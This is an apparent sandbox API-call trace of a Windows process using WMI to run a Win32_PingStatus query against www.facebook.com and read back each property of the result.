WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0x0, pszText=0x0 | out: puBuffLength=0x572e91c*=0xf, pszText=0x0) returned 0x0 [0142.247] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e91c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e91c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.247] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e928*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e91c | out: pNames=0x572e91c*="\x01ƀ\x04") returned 0x0 [0142.247] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.247] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.247] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e7b4 | out: plLbound=0x572e7b4) returned 0x0 [0142.247] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.247] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.247] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.247] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.247] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.247] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.247] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.247] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.247] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.247] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.247] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.247] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.247] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.248] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.248] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.248] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.248] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.248] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.248] SysStringByteLen (bstr="__PATH") returned 0xc [0142.248] SysStringByteLen (bstr="__PATH") returned 0xc [0142.248] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee434*=0, plFlavor=0x22ee438*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22ee434*=3, plFlavor=0x22ee438*=64) returned 0x0 [0142.248] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee53c*=0, plFlavor=0x22ee540*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ee53c*=8, plFlavor=0x22ee540*=64) returned 0x0 [0142.248] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.248] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.248] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee5d0*=0, plFlavor=0x22ee5d4*=0 | out: pVal=0x572e918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee5d0*=8, plFlavor=0x22ee5d4*=64) returned 0x0 [0142.248] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee694*=0, plFlavor=0x22ee698*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22ee694*=8, plFlavor=0x22ee698*=64) returned 0x0 [0142.249] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.249] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.249] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee728*=0, plFlavor=0x22ee72c*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22ee728*=8, plFlavor=0x22ee72c*=64) returned 0x0 [0142.249] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.249] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.249] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ee970*=0, plFlavor=0x22ee974*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22ee970*=3, plFlavor=0x22ee974*=64) returned 0x0 [0142.249] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22eeab8*=0, plFlavor=0x22eeabc*=0 | out: pVal=0x572e918*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58908, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22eeab8*=8200, plFlavor=0x22eeabc*=64) returned 0x0 [0142.250] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22eeb28*=0, plFlavor=0x22eeb2c*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22eeb28*=8, plFlavor=0x22eeb2c*=64) returned 0x0 [0142.250] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.250] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.250] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22eebb0*=0, plFlavor=0x22eebb4*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22eebb0*=8, plFlavor=0x22eebb4*=64) returned 0x0 [0142.250] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.250] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.250] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22eec84*=0, plFlavor=0x22eec88*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22eec84*=8, plFlavor=0x22eec88*=64) returned 0x0 [0142.250] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.250] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0142.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0142.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0142.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0142.251] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.251] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x572e964*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e958 | out: pNames=0x572e958*="\x01ƀ\x04") returned 0x0 [0142.251] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.251] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.251] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e7f0 | out: plLbound=0x572e7f0) returned 0x0 [0142.251] SysStringByteLen (bstr="Address") returned 0xe [0142.251] SysStringByteLen (bstr="Address") returned 0xe [0142.251] SysStringByteLen (bstr="BufferSize") returned 0x14 [0142.251] SysStringByteLen (bstr="BufferSize") returned 0x14 [0142.251] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0142.251] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0142.251] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0142.251] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0142.252] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0142.252] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0142.252] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0142.252] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0142.252] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0142.252] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0142.252] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0142.252] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0142.252] SysStringByteLen (bstr="ReplySize") returned 0x12 [0142.252] SysStringByteLen (bstr="ReplySize") returned 0x12 [0142.252] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0142.252] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0142.252] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0142.252] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0142.252] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0142.252] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0142.252] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0142.252] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0142.252] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0142.252] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0142.252] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0142.252] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0142.253] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0142.253] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0142.253] SysStringByteLen (bstr="StatusCode") returned 0x14 [0142.253] SysStringByteLen (bstr="StatusCode") returned 0x14 [0142.253] SysStringByteLen (bstr="Timeout") returned 0xe [0142.253] SysStringByteLen (bstr="Timeout") returned 0xe [0142.253] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0142.253] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0142.253] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0142.253] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0142.253] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0142.253] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0142.253] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0142.253] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0142.253] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0142.253] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0142.253] SysStringByteLen (bstr="TypeofService") returned 0x1a [0142.253] SysStringByteLen (bstr="TypeofService") returned 0x1a [0142.253] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Address", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef3e4*=0, plFlavor=0x22ef3e8*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22ef3e4*=8, plFlavor=0x22ef3e8*=0) returned 0x0 [0142.254] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.254] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.254] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="BufferSize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef478*=0, plFlavor=0x22ef47c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22ef478*=19, plFlavor=0x22ef47c*=0) returned 0x0 [0142.254] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="NoFragmentation", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef4e8*=0, plFlavor=0x22ef4ec*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef4e8*=11, plFlavor=0x22ef4ec*=0) returned 0x0 [0142.254] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef720*=0, plFlavor=0x22ef724*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef720*=19, plFlavor=0x22ef724*=0) returned 0x0 [0142.255] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ProtocolAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef790*=0, plFlavor=0x22ef794*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="69.171.250.35", varVal2=0x0), pType=0x22ef790*=8, plFlavor=0x22ef794*=0) returned 0x0 [0142.255] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0142.255] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0142.255] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef81c*=0, plFlavor=0x22ef820*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x22ef81c*=8, plFlavor=0x22ef820*=32) returned 0x0 [0142.255] SysStringByteLen (bstr="") returned 0x0 [0142.255] SysStringByteLen (bstr="") returned 0x0 [0142.255] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="RecordRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef880*=0, plFlavor=0x22ef884*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef880*=19, plFlavor=0x22ef884*=0) returned 0x0 [0142.255] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ReplyInconsistency", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef97c*=0, plFlavor=0x22ef980*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef97c*=11, plFlavor=0x22ef980*=0) returned 0x0 [0142.256] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ReplySize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22ef9ec*=0, plFlavor=0x22ef9f0*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22ef9ec*=19, plFlavor=0x22ef9f0*=0) returned 0x0 [0142.256] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResolveAddressNames", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efa5c*=0, plFlavor=0x22efa60*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efa5c*=11, plFlavor=0x22efa60*=0) returned 0x0 [0142.256] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResponseTime", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efacc*=0, plFlavor=0x22efad0*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x22efacc*=19, plFlavor=0x22efad0*=0) returned 0x0 [0142.256] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResponseTimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efb3c*=0, plFlavor=0x22efb40*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36, varVal2=0x0), pType=0x22efb3c*=19, plFlavor=0x22efb40*=0) returned 0x0 [0142.257] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="RouteRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efbac*=0, plFlavor=0x22efbb0*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efbac*=8200, plFlavor=0x22efbb0*=32) returned 0x0 [0142.257] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="RouteRecordResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efc10*=0, plFlavor=0x22efc14*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efc10*=8200, plFlavor=0x22efc14*=32) returned 0x0 [0142.257] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="SourceRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efc74*=0, plFlavor=0x22efc78*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x22efc74*=8, plFlavor=0x22efc78*=0) returned 0x0 [0142.257] SysStringByteLen (bstr="") returned 0x0 [0142.257] SysStringByteLen (bstr="") returned 0x0 [0142.257] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="SourceRouteType", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efcd8*=0, plFlavor=0x22efcdc*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efcd8*=19, plFlavor=0x22efcdc*=0) returned 0x0 [0142.257] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="StatusCode", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efd48*=0, plFlavor=0x22efd4c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22efd48*=19, plFlavor=0x22efd4c*=0) returned 0x0 [0142.258] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="Timeout", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f01fc*=0, plFlavor=0x22f0200*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x22f01fc*=19, plFlavor=0x22f0200*=0) returned 0x0 [0142.258] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TimeStampRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f026c*=0, plFlavor=0x22f0270*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f026c*=8211, plFlavor=0x22f0270*=32) returned 0x0 [0142.258] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f02d0*=0, plFlavor=0x22f02d4*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f02d0*=8200, plFlavor=0x22f02d4*=32) returned 0x0 [0142.258] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0334*=0, plFlavor=0x22f0338*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0334*=8200, plFlavor=0x22f0338*=32) returned 0x0 [0142.259] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TimestampRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0398*=0, plFlavor=0x22f039c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0398*=19, plFlavor=0x22f039c*=0) returned 0x0 [0142.259] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0408*=0, plFlavor=0x22f040c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x22f0408*=19, plFlavor=0x22f040c*=0) returned 0x0 [0142.259] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="TypeofService", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0584*=0, plFlavor=0x22f0588*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f0584*=19, plFlavor=0x22f0588*=0) returned 0x0 [0142.259] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=0, plFlavor=0x572e968*=0 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0142.259] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.259] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.260] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0142.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.260] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.260] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0142.260] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.260] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.260] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x578 [0142.260] SetEvent (hEvent=0x3f4) returned 1 